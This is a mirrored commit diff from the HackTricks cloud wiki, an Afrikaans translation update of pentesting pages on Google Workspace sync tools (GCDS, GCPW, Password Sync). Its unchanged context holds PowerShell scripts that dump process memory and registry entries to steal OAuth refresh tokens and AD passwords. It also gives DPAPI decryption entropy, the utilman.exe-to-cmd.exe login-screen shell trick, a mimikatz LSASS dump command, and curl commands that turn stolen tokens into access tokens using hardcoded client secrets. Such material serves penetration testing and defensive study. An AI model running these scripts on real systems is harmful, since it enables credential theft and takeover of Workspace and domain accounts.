mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-27 13:13:06 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sts-p
This commit is contained in:
@@ -4,9 +4,9 @@
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Dit is 'n hulpmiddel wat gebruik kan word om **jou aktiewe gidsgebruikers en groepe na jou Workspace te sinkroniseer** (en nie andersom nie ten tyde van hierdie skrywe).
|
||||
Dit is 'n hulpmiddel wat gebruik kan word om **jou aktiewe gidsgebruikers en groepe na jou Workspace te sinkroniseer** (en nie andersom nie teen die tyd van hierdie skrywe).
|
||||
|
||||
Dit is interessant omdat dit 'n hulpmiddel is wat die **bewyse van 'n Workspace-supergebruiker en bevoorregte AD-gebruiker** sal vereis. Dit mag dus moontlik wees om dit binne 'n domeinbediener te vind wat van tyd tot tyd gebruikers sal sinkroniseer.
|
||||
Dit is interessant omdat dit 'n hulpmiddel is wat die **bewyse van 'n Workspace-supergebruiker en bevoorregte AD-gebruiker** sal vereis. Dit mag dus moontlik wees om dit binne 'n domeinbediener te vind wat van tyd tot tyd gebruikers sinkroniseer.
|
||||
|
||||
> [!NOTE]
|
||||
> Om 'n **MitM** op die **`config-manager.exe`** binêre uit te voer, voeg net die volgende lyn in die `config.manager.vmoptions`-lêer by: **`-Dcom.sun.net.ssl.checkRevocation=false`**
|
||||
@@ -18,9 +18,9 @@ Let ook daarop dat GCDS nie wagwoorde van AD na Workspace sal sinkroniseer nie.
|
||||
|
||||
<figure><img src="../../../images/telegram-cloud-photo-size-4-5780773316536156543-x.jpg" alt="" width="515"><figcaption></figcaption></figure>
|
||||
|
||||
### GCDS - Skyf Tokens & AD Bewese
|
||||
### GCDS - Skyf Tokens & AD Bewyse
|
||||
|
||||
Die binêre `config-manager.exe` (die hoof GCDS binêre met GUI) sal die geconfigureerde Aktiewe Gidsbewese, die verfrissingstoken en die toegang standaard in 'n **xml-lêer** in die gids **`C:\Program Files\Google Cloud Directory Sync`** in 'n lêer genaamd **`Untitled-1.xml`** stoor. Alhoewel dit ook in die `Documents` van die gebruiker of in **enige ander gids** gestoor kan word.
|
||||
Die binêre `config-manager.exe` (die hoof GCDS binêre met GUI) sal die geconfigureerde Aktiewe Gidsbewyse, die verfrissings-token en die toegang standaard in 'n **xml-lêer** in die gids **`C:\Program Files\Google Cloud Directory Sync`** in 'n lêer genaamd **`Untitled-1.xml`** stoor. Alhoewel dit ook in die `Documents` van die gebruiker of in **enige ander gids** gestoor kan word.
|
||||
|
||||
Boonop bevat die register **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** binne die sleutel **`open.recent`** die paaie na al die onlangs geopende konfigurasielêers (xmls). Dit is dus moontlik om **dit na te gaan om hulle te vind**.
|
||||
|
||||
@@ -54,7 +54,7 @@ Let op hoe die **refresh** **token** en die **password** van die gebruiker **ge
|
||||
<details>
|
||||
|
||||
<summary>Powershell-skrip om die refresh token en die password te dekripteer</summary>
|
||||
```powershell
|
||||
```bash
|
||||
# Paths and key names
|
||||
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
|
||||
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
|
||||
@@ -150,19 +150,19 @@ Write-Host "Decrypted Password: $decryptedPassword"
|
||||
</details>
|
||||
|
||||
> [!NOTE]
|
||||
> Let daarop dat dit moontlik is om hierdie inligting te kontroleer deur die java kode van **`DirSync.jar`** in **`C:\Program Files\Google Cloud Directory Sync`** te soek na die string `exportkeys` (aangesien dit die cli param is wat die binaire `upgrade-config.exe` verwag om die sleutels te dump).
|
||||
> Let daarop dat dit moontlik is om hierdie inligting te kontroleer deur die java kode van **`DirSync.jar`** in **`C:\Program Files\Google Cloud Directory Sync`** na te gaan en te soek na die string `exportkeys` (aangesien dit die cli param is wat die binêre `upgrade-config.exe` verwag om die sleutels te dump).
|
||||
|
||||
In plaas daarvan om die powershell skrip te gebruik, is dit ook moontlik om die binaire **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** met die param `-exportKeys` te gebruik en die **Key** en **IV** uit die registrasie in hex te kry en dan net 'n bietjie cyberchef met AES/CBC en daardie sleutel en IV te gebruik om die inligting te ontsleutel.
|
||||
In plaas daarvan om die powershell skrip te gebruik, is dit ook moontlik om die binêre **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** met die param `-exportKeys` te gebruik en die **Key** en **IV** uit die register in hex te kry en dan net 'n bietjie cyberchef met AES/CBC en daardie sleutel en IV te gebruik om die inligting te ontsleutel.
|
||||
|
||||
### GCDS - Dumping tokens from memory
|
||||
|
||||
Net soos met GCPW, is dit moontlik om die geheue van die proses van die `config-manager.exe` proses (dit is die naam van die GCDS hoof binaire met GUI) te dump en jy sal in staat wees om verfris- en toegangstokens te vind (as hulle reeds gegenereer is).\
|
||||
Net soos met GCPW, is dit moontlik om die geheue van die proses van die `config-manager.exe` proses (dit is die naam van die GCDS hoof binêre met GUI) te dump en jy sal in staat wees om verfris- en toegangstokens te vind (as hulle reeds gegenereer is).\
|
||||
Ek raai jy kan ook die AD geconfigureerde akrediteerings vind.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dump config-manager.exe processes and search tokens</summary>
|
||||
```powershell
|
||||
```bash
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
|
||||
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
|
||||
@@ -235,9 +235,9 @@ Remove-Item -Path $dumpFolder -Recurse -Force
|
||||
```
|
||||
</details>
|
||||
|
||||
### GCDS - Genereer toegangstokens vanaf hernuwingstokens
|
||||
### GCDS - Genereer toegangstokens vanaf herlaa tokens
|
||||
|
||||
Deur die hernuwingstoken te gebruik, is dit moontlik om toegangstokens te genereer met dit en die kliënt-ID en kliëntgeheim wat in die volgende opdrag gespesifiseer is:
|
||||
Deur die herlaa token te gebruik, is dit moontlik om toegangstokens te genereer met dit en die kliënt-ID en kliëntgeheim wat in die volgende opdrag gespesifiseer is:
|
||||
```bash
|
||||
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
|
||||
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
|
||||
@@ -280,7 +280,7 @@ rm /tmp/valid_scopes.txt
|
||||
```
|
||||
</details>
|
||||
|
||||
En dit is die uitvoer wat ek op die tyd van die skryf gekry het:
|
||||
En dit is die uitvoer wat ek op die tyd van skryf gekry het:
|
||||
```
|
||||
https://www.googleapis.com/auth/admin.directory.group
|
||||
https://www.googleapis.com/auth/admin.directory.orgunit
|
||||
@@ -321,6 +321,6 @@ curl -X POST \
|
||||
# You could also change the password of a user for example
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Dit is nie moontlik om die nuwe gebruiker die Super Amin rol te gee nie omdat die **herlaai token nie genoeg skope het nie** om die vereiste voorregte te gee.
|
||||
> Dit is nie moontlik om die nuwe gebruiker die Super Amin rol te gee nie omdat die **herlaai token nie genoeg skope het nie** om die vereiste voorregte te gee.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,14 +4,14 @@
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Dit is die enkele aanmeld wat Google Workspaces bied sodat gebruikers op hul Windows-rekenaars kan aanmeld met **hul Workspace-akkrediteer**. Boonop sal dit tokens stoor om toegang tot Google Workspace op sekere plekke in die rekenaar te verkry.
|
||||
Dit is die enkele aanmeld wat Google Workspaces bied sodat gebruikers op hul Windows-rekenaars kan aanmeld met **hulle Workspace-akkrediteerings**. Boonop sal dit tokens stoor om toegang tot Google Workspace op sekere plekke in die rekenaar te verkry.
|
||||
|
||||
> [!TIP]
|
||||
> Let daarop dat [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) in staat is om **GCPW** te detecteer, inligting oor die konfigurasie te verkry en **selfs tokens**.
|
||||
|
||||
### GCPW - MitM
|
||||
|
||||
Wanneer 'n gebruiker toegang tot 'n Windows-rekenaar wat gesinkroniseer is met Google Workspace via GCPW, sal dit 'n algemene aanmeldvorm moet voltooi. Hierdie aanmeldvorm sal 'n OAuth-kode teruggee wat die rekenaar vir die verfrissingstoken in 'n versoek soos:
|
||||
Wanneer 'n gebruiker toegang tot 'n Windows-rekenaar wat gesinkroniseer is met Google Workspace via GCPW, sal dit 'n algemene aanmeldvorm moet voltooi. Hierdie aanmeldvorm sal 'n OAuth-kode teruggee wat die rekenaar vir die verfrissings-token in 'n versoek soos:
|
||||
```http
|
||||
POST /oauth2/v4/token HTTP/2
|
||||
Host: www.googleapis.com
|
||||
@@ -28,17 +28,17 @@ scope=https://www.google.com/accounts/OAuthLogin
|
||||
&device_type=chrome
|
||||
```
|
||||
> [!NOTE]
|
||||
> Dit was moontlik om 'n MitM uit te voer deur `Proxifier` op die PC te installeer, die `utilman.exe` binêre met 'n `cmd.exe` te oorskryf en die **toeganklikheidskenmerke** op die Windows aanmeldbladsy uit te voer, wat 'n **CMD** sal uitvoer waaruit jy die **Proxifier** kan **begin en konfigureer**.\
|
||||
> Moet nie vergeet om **QUICK UDP** verkeer in `Proxifier` te blokkeer sodat dit na TCP kommunikasie afgradeer nie en jy dit kan sien.
|
||||
> Dit was moontlik om 'n MitM uit te voer deur `Proxifier` op die rekenaar te installeer, die `utilman.exe` binêre met 'n `cmd.exe` te oorskryf en die **toeganklikheidskenmerke** op die Windows aanmeldbladsy uit te voer, wat 'n **CMD** sal uitvoer waaruit jy **Proxifier kan begin en konfigureer**.\
|
||||
> Moet nie vergeet om **QUICK UDP** verkeer in `Proxifier` te blokkeer sodat dit na TCP kommunikasie afgradeer en jy dit kan sien.
|
||||
>
|
||||
> Konfigureer ook in "Gediensde en ander gebruikers" albei opsies en installeer die Burp CA sertifikaat in die Windows.
|
||||
> Konfigureer ook in "Diens en ander gebruikers" albei opsies en installeer die Burp CA sertifikaat in Windows.
|
||||
|
||||
Boonop, deur die sleutels `enable_verbose_logging = 1` en `log_file_path = C:\Public\gcpw.log` in **`HKLM:\SOFTWARE\Google\GCPW`** toe te voeg, is dit moontlik om dit te laat stoor van sommige logs.
|
||||
Boonop, deur die sleutels `enable_verbose_logging = 1` en `log_file_path = C:\Public\gcpw.log` in **`HKLM:\SOFTWARE\Google\GCPW`** toe te voeg, is dit moontlik om 'n paar logs te stoor.
|
||||
|
||||
### GCPW - Vingerafdruk
|
||||
|
||||
Dit is moontlik om te kyk of GCPW op 'n toestel geïnstalleer is deur te kyk of die volgende proses bestaan of of die volgende registriesleutels bestaan:
|
||||
```powershell
|
||||
Dit is moontlik om te kontroleer of GCPW op 'n toestel geïnstalleer is deur te kyk of die volgende proses bestaan of of die volgende registriesleutels bestaan:
|
||||
```bash
|
||||
# Check process gcpw_extension.exe
|
||||
if (Get-Process -Name "gcpw_extension" -ErrorAction SilentlyContinue) {
|
||||
Write-Output "The process gcpw_xtension.exe is running."
|
||||
@@ -62,9 +62,9 @@ Write-Output "Google Accounts are present: The key $gcpwHKCUPath exists."
|
||||
Write-Output "No Google Accounts found: The key $gcpwHKCUPath does not exist."
|
||||
}
|
||||
```
|
||||
In **`HKCU:\SOFTWARE\Google\Accounts`** is dit moontlik om die e-pos van die gebruiker en die versleutelde **refresh token** te bekom as die gebruiker onlangs ingeteken het.
|
||||
In **`HKCU:\SOFTWARE\Google\Accounts`** is dit moontlik om toegang te verkry tot die e-pos van die gebruiker en die versleutelde **refresh token** as die gebruiker onlangs ingeteken het.
|
||||
|
||||
In **`HKLM:\SOFTWARE\Google\GCPW\Users`** is dit moontlik om die **domeine** te vind wat toegelaat word om in te teken in die sleutel `domains_allowed` en in subsleutels is dit moontlik om inligting oor die gebruiker te vind soos e-pos, prentjie, gebruikersnaam, token lewensduur, token handvatsel...
|
||||
In **`HKLM:\SOFTWARE\Google\GCPW\Users`** is dit moontlik om die **domeine** te vind wat toegelaat word om in te teken in die sleutel `domains_allowed` en in subsleutels is dit moontlik om inligting oor die gebruiker te vind soos e-pos, prent, gebruikersnaam, token lewensduur, token handvatsel...
|
||||
|
||||
> [!NOTE]
|
||||
> Die token handvatsel is 'n token wat begin met `eth.` en waarvan sommige inligting met 'n versoek soos:
|
||||
@@ -102,14 +102,14 @@ Boonop is die lêer **`C:\ProgramData\Google\Credential Provider\Policies\<sid>\
|
||||
|
||||
## GCPW - Kry Tokens
|
||||
|
||||
### GCPW - Registrasie Refresh Tokens
|
||||
### GCPW - Registrie Refresh Tokens
|
||||
|
||||
Binne die registrasie **`HKCU:\SOFTWARE\Google\Accounts`** mag dit moontlik wees om sommige rekeninge met die **`refresh_token`** versleuteld binne te vind. Die metode **`ProtectedData.Unprotect`** kan dit maklik ontsleutel.
|
||||
Binne die registrie **`HKCU:\SOFTWARE\Google\Accounts`** mag dit moontlik wees om sommige rekeninge met die **`refresh_token`** versleuteld binne te vind. Die metode **`ProtectedData.Unprotect`** kan dit maklik ontsleutel.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kry <strong><code>HKCU:\SOFTWARE\Google\Accounts</code></strong> data en ontsleutel refresh_tokens</summary>
|
||||
```powershell
|
||||
```bash
|
||||
# Import required namespace for decryption
|
||||
Add-Type -AssemblyName System.Security
|
||||
|
||||
@@ -163,7 +163,7 @@ Get-RegistryKeysAndDecryptTokens -keyPath $baseKey
|
||||
```
|
||||
Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI
|
||||
```
|
||||
Soos verduidelik in [**hierdie video**](https://www.youtube.com/watch?v=FEQxHRRP_5I), as jy nie die token in die registrasie vind nie, is dit moontlik om die waarde te verander (of te verwyder) van **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** en die volgende keer wanneer die gebruiker die rekenaar benader, sal hy weer moet aanmeld en die **token sal in die vorige registrasie gestoor word**.
|
||||
Soos verduidelik in [**hierdie video**](https://www.youtube.com/watch?v=FEQxHRRP_5I), as jy nie die token in die registrasie vind nie, is dit moontlik om die waarde te wysig (of te verwyder) van **`HKLM:\SOFTWARE\Google\GCPW\Users\<sid>\th`** en die volgende keer wanneer die gebruiker die rekenaar benader, sal hy weer moet aanmeld en die **token sal in die vorige registrasie gestoor word**.
|
||||
|
||||
### GCPW - Skyf Vernuwings Tokens
|
||||
|
||||
@@ -180,12 +180,12 @@ Dit kan waargeneem word dat AESGCM gebruik word, die versleutelde token begin me
|
||||
|
||||
### GCPW - Dumping tokens uit prosesse se geheue
|
||||
|
||||
Die volgende skrip kan gebruik word om elke **Chrome** proses te **dump** met behulp van `procdump`, die **strings** te onttrek en dan **soek** na strings wat verband hou met **toegang en verfris tokens**. As Chrome aan 'n Google-webwerf gekoppel is, sal 'n **proses verfris en/of toegang tokens in geheue stoor!**
|
||||
Die volgende skrip kan gebruik word om elke **Chrome** proses te **dump** met behulp van `procdump`, die **strings** te onttrek en dan te **soek** na strings wat verband hou met **toegang en vernuwing tokens**. As Chrome aan 'n Google-webwerf gekoppel is, sal 'n **proses vernuwing en/of toegang tokens in geheue stoor!**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dump Chrome prosesse en soek tokens</summary>
|
||||
```powershell
|
||||
```bash
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
|
||||
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
|
||||
@@ -260,7 +260,7 @@ Remove-Item -Path $dumpFolder -Recurse -Force
|
||||
|
||||
Ek het dieselfde met `gcpw_extension.exe` probeer, maar dit het geen token gevind nie.
|
||||
|
||||
Om een of ander rede, s**ommige onttrokken toegangstokens sal nie geldig wees nie (alhoewel sommige wel geldig sal wees)**. Ek het die volgende skrip probeer om karakters een vir een te verwyder om te probeer om die geldige token uit die dump te kry. Dit het my nooit gehelp om 'n geldige een te vind nie, maar dit mag dalk:
|
||||
Om een of ander rede, s**ommige onttrokken toegangstokens sal nie geldig wees nie (alhoewel sommige wel geldig sal wees)**. Ek het die volgende skrip probeer om karakters een vir een te verwyder om te probeer om die geldige token uit die dump te kry. Dit het nooit gehelp om 'n geldige een te vind nie, maar dit mag dalk help:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -297,9 +297,9 @@ echo "Error: Token invalid or too short"
|
||||
```
|
||||
</details>
|
||||
|
||||
### GCPW - Genereer toegangstokens vanaf hernuwingstokens
|
||||
### GCPW - Genereer toegangstokens vanaf herlaa tokens
|
||||
|
||||
Deur die hernuwingstoken te gebruik, is dit moontlik om toegangstokens te genereer met dit en die kliënt-ID en kliëntgeheim wat in die volgende opdrag gespesifiseer is:
|
||||
Deur die herlaa token te gebruik, is dit moontlik om toegangstokens te genereer met dit en die kliënt-ID en kliënt geheim wat in die volgende opdrag gespesifiseer is:
|
||||
```bash
|
||||
curl -s --data "client_id=77185425430.apps.googleusercontent.com" \
|
||||
--data "client_secret=OTJgUOQcT7lO7GsGZq2G4IlT" \
|
||||
@@ -378,7 +378,7 @@ https://www.googleapis.com/auth/userinfo.profile
|
||||
```
|
||||
</details>
|
||||
|
||||
Boonop, deur die Chromium-bronkode na te gaan, is dit moontlik om [**hierdie lêer te vind**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), wat **ander skope** bevat wat **nie in die vooraf brute-forced lys verskyn nie**. Daarom kan hierdie ekstra skope aanvaar word:
|
||||
Boonop, deur die Chromium-bronkode te kontroleer, is dit moontlik om [**hierdie lêer te vind**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), wat **ander skope** bevat wat aanvaar kan word dat **nie in die vooraf brute-forced lys verskyn nie**. Daarom kan hierdie ekstra skope aanvaar word:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -461,18 +461,18 @@ https://www.googleapis.com/auth/wallet.chrome
|
||||
```
|
||||
</details>
|
||||
|
||||
Let daarop dat die mees interessante een moontlik is:
|
||||
Let wel, die mees interessante een is moontlik:
|
||||
```c
|
||||
// OAuth2 scope for access to all Google APIs.
|
||||
const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api";
|
||||
```
|
||||
Ek het egter probeer om hierdie omvang te gebruik om gmail te bekom of groepe te lys en dit het nie gewerk nie, so ek weet nie hoe nuttig dit nog is nie.
|
||||
Echter, ek het probeer om hierdie omvang te gebruik om gmail te bekom of groepe te lys en dit het nie gewerk nie, so ek weet nie hoe nuttig dit nog is nie.
|
||||
|
||||
**Kry 'n toegangstoken met al daardie omvange**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Bash script om toegangstoken te genereer vanaf refresh_token met al die omvange</summary>
|
||||
<summary>Bash-skrip om toegangstoken te genereer vanaf refresh_token met al die omvange</summary>
|
||||
```bash
|
||||
export scope=$(echo "https://www.googleapis.com/auth/admin.directory.user
|
||||
https://www.googleapis.com/auth/calendar
|
||||
@@ -589,7 +589,7 @@ Sommige voorbeelde wat sommige van daardie skope gebruik:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
|
||||
<summary>https://www.googleapis.com/auth/userinfo.email & https://www.googleapis.com/auth/userinfo.profile</summary>
|
||||
```bash
|
||||
curl -X GET \
|
||||
-H "Authorization: Bearer $access_token" \
|
||||
@@ -793,9 +793,9 @@ Meer [API eindpunte in die dokumentasie](https://developers.google.com/vault/ref
|
||||
|
||||
</details>
|
||||
|
||||
## GCPW - Herstel van die duidelike teks wagwoord
|
||||
## GCPW - Herwinning van die duidelike teks wagwoord
|
||||
|
||||
Om GCPW te misbruik om die duidelike teks van die wagwoord te herstel, is dit moontlik om die versleutelde wagwoord van **LSASS** te dump met behulp van **mimikatz**:
|
||||
Om GCPW te misbruik om die duidelike teks van die wagwoord te herwin, is dit moontlik om die versleutelde wagwoord van **LSASS** te dump met behulp van **mimikatz**:
|
||||
```bash
|
||||
mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
|
||||
```
|
||||
|
||||
@@ -12,47 +12,47 @@ Dit word geïnstalleer in `C:\Program Files\Google\Password Sync` waar jy die bi
|
||||
|
||||
Om hierdie binêre (en diens) te konfigureer, is dit nodig om **toegang te gee aan 'n Super Admin-prinsipaal in Workspace**:
|
||||
|
||||
- Teken in via **OAuth** met Google en dan sal dit **'n token in die register stoor (geënkripteer)**
|
||||
- Teken in via **OAuth** met Google en dan sal dit **'n token in die register (geënkripteer) stoor**
|
||||
- Slegs beskikbaar in Domein Beheerders met GUI
|
||||
- Gee 'n paar **Diensrekening akrediteeringe van GCP** (json-lêer) met regte om **die Workspace gebruikers te bestuur**
|
||||
- Baie slegte idee aangesien daardie akrediteeringe nooit verval nie en misbruik kan word
|
||||
- Gee 'n paar **Diensrekening kredensiale van GCP** (json-lêer) met regte om **die Workspace gebruikers te bestuur**
|
||||
- Baie slegte idee aangesien daardie kredensiale nooit verval nie en misbruik kan word
|
||||
- Baie slegte idee om 'n SA toegang oor workspace te gee aangesien die SA in GCP gecompromitteer kan word en dit moontlik sal wees om na Workspace te pivot
|
||||
- Google vereis dit vir domein beheer sonder GUI
|
||||
- Hierdie akrediteeringe word ook in die register gestoor
|
||||
- Hierdie kredensiale word ook in die register gestoor
|
||||
|
||||
Ten opsigte van AD, is dit moontlik om aan te dui om die huidige **aansoek konteks, anoniem of 'n spesifieke akreditering** te gebruik. As die akreditering opsie gekies word, word die **gebruikersnaam** in 'n lêer in die **skyf** gestoor en die **wagwoord** is **geënkripteer** en in die **register** gestoor.
|
||||
Ten opsigte van AD, is dit moontlik om aan te dui om die huidige **aansoek konteks, anoniem of 'n spesifieke kredensiaal** te gebruik. As die kredensiaal opsie gekies word, word die **gebruikersnaam** in 'n lêer in die **skyf** gestoor en die **wagwoord** is **geënkripteer** en in die **register** gestoor.
|
||||
|
||||
### GPS - Dumping wagwoord en token van skyf
|
||||
|
||||
> [!TIP]
|
||||
> Let daarop dat [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) in staat is om **GPS** te detecteer, inligting oor die konfigurasie te verkry en **selfs die wagwoord en token te dekripteer**.
|
||||
|
||||
In die lêer **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** is dit moontlik om 'n deel van die konfigurasie soos die **`baseDN`** van die AD wat geconfigureer is en die **`gebruikersnaam`** wie se akrediteringe gebruik word, te vind.
|
||||
In die lêer **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** is dit moontlik om 'n deel van die konfigurasie soos die **`baseDN`** van die AD wat geconfigureer is en die **`gebruikersnaam`** wie se kredensiale gebruik word, te vind.
|
||||
|
||||
In die register **`HKLM\Software\Google\Google Apps Password Sync`** is dit moontlik om die **geënkripteerde hernuwing token** en die **geënkripteerde wagwoord** vir die AD gebruiker (indien enige) te vind. Boonop, as daar in plaas van 'n token, 'n paar **SA akrediteeringe** gebruik word, is dit ook moontlik om daardie geënkripteerde in daardie register adres te vind. Die **waardes** binne hierdie register is slegs **toeganklik** deur **Administrators**.
|
||||
In die register **`HKLM\Software\Google\Google Apps Password Sync`** is dit moontlik om die **geënkripteerde verfrissing token** en die **geënkripteerde wagwoord** vir die AD gebruiker (indien enige) te vind. Boonop, as daar in plaas van 'n token, 'n paar **SA kredensiale** gebruik word, is dit ook moontlik om daardie geënkripteerde in daardie register adres te vind. Die **waardes** binne hierdie register is slegs **toeganklik** deur **Administrators**.
|
||||
|
||||
Die geënkripteerde **wagwoord** (indien enige) is binne die sleutel **`ADPassword`** en is geënkripteer met behulp van die **`CryptProtectData`** API. Om dit te dekripteer, moet jy dieselfde gebruiker wees as die een wat die wagwoord sinkronisasie geconfigureer het en hierdie **entropie** gebruik wanneer jy die **`CryptUnprotectData`** gebruik: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
|
||||
|
||||
Die geënkripteerde token (indien enige) is binne die sleutel **`AuthToken`** en is geënkripteer met behulp van die **`CryptProtectData`** API. Om dit te dekripteer, moet jy dieselfde gebruiker wees as die een wat die wagwoord sinkronisasie geconfigureer het en hierdie **entropie** gebruik wanneer jy die **`CryptUnprotectData`** gebruik: `byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };`\
|
||||
Boonop, dit is ook geënkodeer met base32hex met die woordeboek **`0123456789abcdefghijklmnopqrstv`**.
|
||||
Boonop, dit is ook gekodeer met base32hex met die woordeboek **`0123456789abcdefghijklmnopqrstv`**.
|
||||
|
||||
Die entropie waardes is gevind deur die hulpmiddel te gebruik. Dit is geconfigureer om die oproepe na **`CryptUnprotectData`** en **`CryptProtectData`** te monitor en toe is die hulpmiddel gebruik om `PasswordSync.exe` te begin en te monitor wat die geconfigureerde wagwoord en auth token aan die begin sal dekripteer en die hulpmiddel sal **die waardes vir die entropie wat gebruik is** in beide gevalle wys:
|
||||
|
||||
<figure><img src="../../../images/telegram-cloud-photo-size-4-5782633230648853886-y.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Let daarop dat dit ook moontlik is om die **geëndecrypt** waardes in die invoer of uitvoer van die oproepe na hierdie API's te sien (in geval Winpeas op 'n stadium ophou werk).
|
||||
Let daarop dat dit ook moontlik is om die **geënikteerde** waardes in die invoer of uitvoer van die oproepe na hierdie API's te sien (in geval Winpeas op 'n stadium ophou werk).
|
||||
|
||||
In die geval dat die Password Sync **geconfigureer is met SA akrediteeringe**, sal dit ook in sleutels binne die register **`HKLM\Software\Google\Google Apps Password Sync`** gestoor word.
|
||||
In die geval dat die Password Sync **geconfigureer is met SA kredensiale**, sal dit ook in sleutels binne die register **`HKLM\Software\Google\Google Apps Password Sync`** gestoor word.
|
||||
|
||||
### GPS - Dumping tokens van geheue
|
||||
|
||||
Net soos met GCPW, is dit moontlik om die geheue van die proses van die `PasswordSync.exe` en die `password_sync_service.exe` prosesse te dump en jy sal in staat wees om hernuwing en toegang tokens te vind (indien hulle reeds gegenereer is).\
|
||||
Ek vermoed jy kan ook die AD geconfigureerde akrediteringe vind.
|
||||
Net soos met GCPW, is dit moontlik om die geheue van die proses van die `PasswordSync.exe` en die `password_sync_service.exe` prosesse te dump en jy sal in staat wees om verfris en toegang tokens te vind (indien hulle reeds gegenereer is).\
|
||||
Ek vermoed jy kan ook die AD geconfigureerde kredensiale vind.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dump <code>PasswordSync.exe</code> en die <code>password_sync_service.exe</code> prosesse en soek tokens</summary>
|
||||
```powershell
|
||||
```bash
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe"
|
||||
$stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe"
|
||||
@@ -127,9 +127,9 @@ Write-Output ""
|
||||
```
|
||||
</details>
|
||||
|
||||
### GPS - Genereer toegangstokens vanaf hernuwingstokens
|
||||
### GPS - Genereer toegangstokens vanaf herlaa tokens
|
||||
|
||||
Deur die hernuwingstoken te gebruik, is dit moontlik om toegangstokens te genereer met dit en die kliënt-ID en kliëntgeheim wat in die volgende opdrag gespesifiseer is:
|
||||
Deur die herlaa token te gebruik, is dit moontlik om toegangstokens te genereer met dit en die kliënt-ID en kliënt geheim wat in die volgende opdrag gespesifiseer is:
|
||||
```bash
|
||||
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
|
||||
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
|
||||
@@ -140,7 +140,7 @@ https://www.googleapis.com/oauth2/v4/token
|
||||
### GPS - Skoppe
|
||||
|
||||
> [!NOTE]
|
||||
> Let daarop dat dit nie moontlik is om enige skop vir die toegangstoken aan te vra nie, selfs al het jy 'n verfrissings-token, aangesien jy slegs die **skoppe wat deur die toepassing ondersteun word waar jy die toegangstoken genereer** kan aan vra.
|
||||
> Let daarop dat dit, selfs met 'n verfrissings-token, nie moontlik is om enige skop vir die toegangstoken aan te vra nie, aangesien jy slegs die **skoppe wat deur die toepassing ondersteun word waar jy die toegangstoken genereer** kan aan vra.
|
||||
>
|
||||
> Ook, die verfrissings-token is nie geldig in elke toepassing nie.
|
||||
|
||||
|
||||
Reference in New Issue
Block a user